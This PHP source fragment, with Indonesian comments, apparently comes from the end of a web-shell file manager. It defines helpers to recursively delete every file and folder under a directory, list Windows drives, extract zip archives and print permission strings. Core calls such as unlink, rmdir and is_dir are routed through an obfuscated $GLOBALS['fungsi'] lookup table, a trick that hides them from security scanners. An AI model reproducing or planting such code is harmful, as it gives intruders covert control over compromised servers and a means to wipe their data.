$dirs = [$dir];
$files = [];
// Loop untuk mengumpulkan semua file dan folder di dalam direktori
for ($i = 0; ; $i++) {
if (isset($dirs[$i])) {
$dir = $dirs[$i];
} else {
break;
}
if ($openDir = @opendir($dir)) {
while ($readDir = @readdir($openDir)) {
if ($readDir != "." && $readDir != "..") {
$path = $dir . "/" . $readDir;
if ($GLOBALS["fungsi"][2]($path)) {
// is_dir
$dirs[] = $path;
} else {
$files[] = $path;
}
}
}
closedir($openDir);
}
}
// Hapus semua file
foreach ($files as $file) {
if (!@$GLOBALS["fungsi"][24]($file)) {
// unlink
return false; // Gagal hapus file
}
}
// Hapus semua direktori dari paling dalam ke luar
$dirs = array_reverse($dirs);
foreach ($dirs as $dir) {
if (!@$GLOBALS["fungsi"][25]($dir)) {
// rmdir
return false; // Gagal hapus direktori
}
}
return true; // Berhasil sepenuhnya
}
function remove_dot($file)
{
$FILES = $file;
$pch = explode(".", $FILES);
return $pch[0];
}
function windowsDriver()
{
$winArr = [
"A",
"B",
"C",
"D",
"E",
"F",
"G",
"H",
"I",
"J",
"K",
"L",
"M",
"N",
"O",
"P",
"Q",
"R",
"S",
"T",
"V",
"W",
"X",
"Y",
"Z",
];
foreach ($winArr as $winNum => $winVal) {
if (is_dir($winVal . ":/")) {
echo "[ " .
$winVal .
" ] ";
}
}
}
function namaPanjang($value)
{
$namaNya = $value;
$extensi = pathinfo($value, PATHINFO_EXTENSION);
if (strlen($namaNya) > 30) {
return substr($namaNya, 0, 30) . "...";
} else {
return $value;
}
}
function extractArchive($archiveFilename, $extractPath)
{
$zip = new ZipArchive();
if ($zip->open($archiveFilename) === true) {
$zip->extractTo($extractPath);
$zip->close();
return true;
} else {
return false;
}
}
function perms($file)
{
$perms = $GLOBALS["fungsi"][6]($file);
if (($perms & 0xc000) == 0xc000) {
// Socket
$info = "s";
} elseif (($perms & 0xa000) == 0xa000) {
// Symbolic Link
$info = "l";
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = "-";
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = "b";
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = "d";
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = "c";
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = "p";
} else {
// Unknown
$info = "u";
}
// Owner
$info .= $perms & 0x0100 ? "r" : "-";
$info .= $perms & 0x0080 ? "w" : "-";
$info .=
$perms & 0x0040
? ($perms & 0x0800
? "s"
: "x")
: ($perms & 0x0800
? "S"
: "-");
// Group
$info .= $perms & 0x0020 ? "r" : "-";
$info .= $perms & 0x0010 ? "w" : "-";
$info .=
$perms & 0x0008
? ($perms & 0x0400
? "s"
: "x")
: ($perms & 0x0400
? "S"
: "-");
// World
$info .= $perms & 0x0004 ? "r" : "-";
$info .= $perms & 0x0002 ? "w" : "-";
$info .=
$perms & 0x0001
? ($perms & 0x0200
? "t"
: "x")
: ($perms & 0x0200
? "T"
: "-");
return $info;
}
?>